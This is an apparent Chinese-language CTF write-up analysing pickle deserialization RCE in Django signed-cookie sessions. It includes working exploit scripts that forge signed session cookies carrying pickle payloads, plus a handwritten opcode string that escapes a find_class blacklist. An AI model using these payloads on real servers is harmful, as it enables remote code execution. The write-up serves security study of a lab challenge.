漏洞成因
漏洞成因位于目标配置文件settings.py下
关于这两个配置项
SESSION_ENGINE:
在Django中,SESSION_ENGINE 是一个设置项,用于指定用于存储和处理会话(session)数据的引擎。
SESSION_ENGINE 设置项允许您选择不同的后端引擎来存储会话数据,例如:
- 数据库后端 (django.contrib.sessions.backends.db):会话数据存储在数据库表中。这是Django的默认会话引擎。
- 缓存后端 (django.contrib.sessions.backends.cache):会话数据存储在缓存中,例如Memcached或Redis。这种方式适用于需要快速读写和处理大量会话数据的情况。
- 文件系统后端 (django.contrib.sessions.backends.file):会话数据存储在服务器的文件系统中。这种方式适用于小型应用,不需要高级别的安全性和性能。
- 签名Cookie后端 (django.contrib.sessions.backends.signed_cookies):会话数据以签名的方式存储在用户的Cookie中。这种方式适用于小型会话数据,可以提供一定程度的安全性。
- 缓存数据库后端 (django.contrib.sessions.backends.cached_db):会话数据存储在缓存中,并且在需要时备份到数据库。这种方式结合了缓存和持久性存储的优势。
SESSION_SERIALIZER:
SESSION_SERIALIZER 是Django设置中的一个选项,用于指定Django如何对会话(session)数据进行序列化和反序列化。会话是一种在Web应用程序中用于存储用户状态信息的机制,例如用户登录状态、购物车内容、用户首选项等。
通过配置SESSION_SERIALIZER,您可以指定Django使用哪种数据序列化格式来处理会话数据。Django支持多种不同的序列化格式,包括以下常用的选项:
- 'django.contrib.sessions.serializers.JSONSerializer':使用JSON格式来序列化和反序列化会话数据。JSON是一种通用的文本格式,具有良好的可读性和跨平台兼容性。
- 'django.contrib.sessions.serializers.PickleSerializer':使用Python标准库中的pickle模块来序列化和反序列化会话数据。
那么上述配置项的意思就是使用cookie来存储session的签名,然后使用pickle在c/s两端进行序列化和反序列化。
紧接着看看Django中的/core/signing模块:(Django==2.2.5)
主要看看函数参数即可
key:验签中的密钥
serializer:指定序列化和反序列化类
- def dumps(obj, key=None, salt='django.core.signing', serializer=JSONSerializer, compress=False):
- """
- Return URL-safe, hmac/SHA1 signed base64 compressed JSON string. If key is
- None, use settings.SECRET_KEY instead.
-
- If compress is True (not the default), check if compressing using zlib can
- save some space. Prepend a '.' to signify compression. This is included
- in the signature, to protect against zip bombs.
-
- Salt can be used to namespace the hash, so that a signed string is
- only valid for a given namespace. Leaving this at the default
- value or re-using a salt value across different parts of your
- application without good cause is a security risk.
-
- The serializer is expected to return a bytestring.
- """
- data = serializer().dumps(obj) # 使用选定的类进行序列化
-
- # Flag for if it's been compressed or not
- is_compressed = False
-
- # 数据压缩处理
- if compress:
- # Avoid zlib dependency unless compress is being used
- compressed = zlib.compress(data)
- if len(compressed) < (len(data) - 1):
- data = compressed
- is_compressed = True
- base64d = b64_encode(data).decode() # base64编码 decode转化成字符串
- if is_compressed:
- base64d = '.' + base64d
- return TimestampSigner(key, salt=salt).sign(base64d) # 返回一个签名值
-
-
- # loads的过程为dumps的逆过程
- def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):
- """
- Reverse of dumps(), raise BadSignature if signature fails.
-
- The serializer is expected to accept a bytestring.
- """
- # TimestampSigner.unsign() returns str but base64 and zlib compression
- # operate on bytes.
- base64d = TimestampSigner(key, salt=salt).unsign(s, max_age=max_age).encode()
- decompress = base64d[:1] == b'.'
- if decompress:
- # It's compressed; uncompress it first
- base64d = base64d[1:]
- data = b64_decode(base64d)
- if decompress:
- data = zlib.decompress(data)
- return serializer().loads(data)
复制代码 看看两个签名的类:
在Signer类中中:- class Signer:
-
- def __init__(self, key=None, sep=':', salt=None):
- # Use of native strings in all versions of Python
- self.key = key or settings.SECRET_KEY # key默认为settings中的配置项
- self.sep = sep
- if _SEP_UNSAFE.match(self.sep):
- raise ValueError(
- 'Unsafe Signer separator: %r (cannot be empty or consist of '
- 'only A-z0-9-_=)' % sep,
- )
- self.salt = salt or '%s.%s' % (self.__class__.__module__, self.__class__.__name__)
-
- def signature(self, value):
- # 利用salt、value、key做一次签名
- return base64_hmac(self.salt + 'signer', value, self.key)
-
- def sign(self, value):
- return '%s%s%s' % (value, self.sep, self.signature(value))
-
- def unsign(self, signed_value):
- if self.sep not in signed_value:
- raise BadSignature('No "%s" found in value' % self.sep)
- value, sig = signed_value.rsplit(self.sep, 1)
- if constant_time_compare(sig, self.signature(value)):
- return value
- raise BadSignature('Signature "%s" does not match' % sig)
复制代码 还有一个是时间戳的验签部分- class TimestampSigner(Signer):
-
- def timestamp(self):
- return baseconv.base62.encode(int(time.time()))
-
- def sign(self, value):
- value = '%s%s%s' % (value, self.sep, self.timestamp())
- return super().sign(value)
-
- def unsign(self, value, max_age=None):
- """
- Retrieve original value and check it wasn't signed more
- than max_age seconds ago.
- """
- result = super().unsign(value)
- value, timestamp = result.rsplit(self.sep, 1)
- timestamp = baseconv.base62.decode(timestamp)
- if max_age is not None:
- if isinstance(max_age, datetime.timedelta):
- max_age = max_age.total_seconds()
- # Check timestamp is not older than max_age
- age = time.time() - timestamp
- if age > max_age:
- raise SignatureExpired(
- 'Signature age %s > %s seconds' % (age, max_age))
- return value
复制代码 时间戳主要是为了判断session是否过期,因为设置了一个max_age字段,做了差值进行比较
[img=720,634.7240915208614]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310191558207.png[/img]
漏洞调试
我直接以ez_py的题目环境为漏洞调试环境(Django==2.2.5)
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老惯例,先看栈帧
django/contrib/auth/middleware.py为处理Django框架中的身份验证和授权的中间件类,协助处理了HTTP请求

AuthenticationMiddleware中调用了get_user用于获取session中的连接对象身份
[img=720,236.30769230769232]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310191558833.png[/img]
随后调用Django auth模块下的get_user函数和_get_user_session_key函数
[img=720,630.2421524663677]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310191558370.png[/img]
[img=720,101.42506142506143]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310191558946.png[/img]
随后进行session的字典读取。由于加载session的过程为懒加载过程(lazy load),所以在读取SESSION_KEY的时候会进行_get_session函数运行,从而触发session的反序列化
[img=720,344.92793411118737]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310191558057.png[/img]
[img=720,344.50765864332607]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310191558337.png[/img]
[img=720,368.09282088469905]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310191558582.png[/img]
loads函数中的操作
首先先进行session是否过期的检验,随后base64解码和zlib数据解压缩,提取出python字节码
最后扔入pickle进行字节码解析
[img=720,354.4146685472497]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310191558012.png[/img]
漏洞利用
首先利用条件如下:
[img=720,119.07455012853471]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310191559675.png[/img]
以cookie方式存储session,实现了交互。
以Pickle为反序列化类,触发__reduce__函数的执行,实现RCE
EXP如下:- import os
- import django.core.signing
- import requests
-
-
- # from Django.contrib.sessions.serializers.PickleSerializer
- import pickle
- class PickleSerializer:
- """
- Simple wrapper around pickle to be used in signing.dumps and
- signing.loads.
- """
- protocol = pickle.HIGHEST_PROTOCOL
-
- def dumps(self, obj):
- return pickle.dumps(obj, self.protocol)
-
- def loads(self, data):
- return pickle.loads(data)
-
-
- SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
- salt = "django.contrib.sessions.backends.signed_cookies"
-
- class exp():
- def __reduce__(self):
- # 返回一个callable 及其参数的元组
- return os.system, (('calc.exe'),)
-
- _exp = exp()
- cookie_opcodes = django.core.signing.dumps(_exp, key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
- print(cookie_opcodes)
-
- resp = requests.get("http://127.0.0.1:8000/auth", cookies={"sessionid": cookie_opcodes})
复制代码 [img=720,729.2]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310191558119.png[/img]
Code-Breaking-Django调试
这道题是P神文章中的题目,题目源码在这:https://github.com/phith0n/code-breaking/blob/master/2018/picklecode
find_class沙盒逃逸
关于find_class:
简单来说,这是python pickle建议使用的安全策略,这个函数在pickle字节码调用c(即import)时会进行校验,校验函数由自己定义
- import pickle
- import io
- import builtins
-
- __all__ = ('PickleSerializer', )
-
-
- class RestrictedUnpickler(pickle.Unpickler):
- blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
-
- def find_class(self, module, name): # python字节码解析后调用了全局类或函数 import行为 就会自动调用find_class方法
- # Only allow safe classes from builtins.
- if module == "builtins" and name not in self.blacklist: # 检查调用的类是否为内建类, 以及函数名是否出现在黑名单内
- return getattr(builtins, name)
- # Forbid everything else.
- raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
- (module, name))
-
-
- class PickleSerializer():
- def dumps(self, obj):
- return pickle.dumps(obj)
-
- def loads(self, data):
- try:
- # 校验data是否为字符串
- if isinstance(data, str):
- raise TypeError("Can't load pickle from unicode string")
- file = io.BytesIO(data) # 读取data
- return RestrictedUnpickler(file,encoding='ASCII', errors='strict').load()
- except Exception as e:
- return {}
复制代码 第一是要手撕python pickle opcode绕过find_class,这个过程使用到了getattr函数,这个函数有如下用法- class Person:
- def __init__(self, name):
- self.name = name
-
- # 获取对象属性值
- person = Person("Alice")
- name = getattr(person, "name")
- print(name)
-
- # 调用对象方法
- a = getattr(builtins, "eval")
- a("print(1+1)")
-
-
- # 可以设置default值
- age = getattr(person, "age", 30)
- print(age)
-
- builtins.getattr(builtins, "eval")("print(1+1)")
复制代码 那么同理,也可以通过getattr调用eval
加载上下文:由于后端在实现时,import了一些包
[img=720,313.49282296650716]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310191559017.png[/img]
(这部分包的上下文可以使用globals()函数获得)
所以可以直接导入builtins中的getattr,最终通过获取globals()中的__builtins__来获取eval等- getattr = GLOBAL('builtins', 'getattr') # GLOBAL为导入
- dict = GLOBAL('builtins', 'dict')
- dict_get = getattr(dict, 'get')
- globals = GLOBAL('builtins', 'globals')
- builtins = globals()
- __builtins__ = dict_get(builtins, '__builtins__') # 获取真正的__builtins__
- eval = getattr(__builtins__, 'eval')
- eval('__import__("os").system("calc.exe")')
- return
复制代码 [img=720,191.609529343405]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202310191559814.png[/img]
查看Django.core.signing模块,复刻sign写exp- from django.core import signing
- import pickle
- import io
- import builtins
- import zlib
- import base64
-
- PayloadToBeEncoded = b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("calc.exe")\'\ntR.'
-
- SECURE_KEY = "p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn"
- salt = "django.contrib.sessions.backends.signed_cookies"
-
-
- def b64_encode(s):
- return base64.urlsafe_b64encode(s).strip(b"=")
-
- base64d = b64_encode(PayloadToBeEncoded).decode()
-
- def exp(key, payload):
- global salt
- # Flag for if it's been compressed or not.
- is_compressed = False
- compress = False
- if compress:
- # Avoid zlib dependency unless compress is being used.
- compressed = zlib.compress(payload)
- if len(compressed) < (len(payload) - 1):
- payload = compressed
- is_compressed = True
- base64d = b64_encode(payload).decode()
- if is_compressed:
- base64d = "." + base64d
- session = signing.TimestampSigner(key=key, salt=salt).sign(base64d)
- print(session)
复制代码 然后传session即可。
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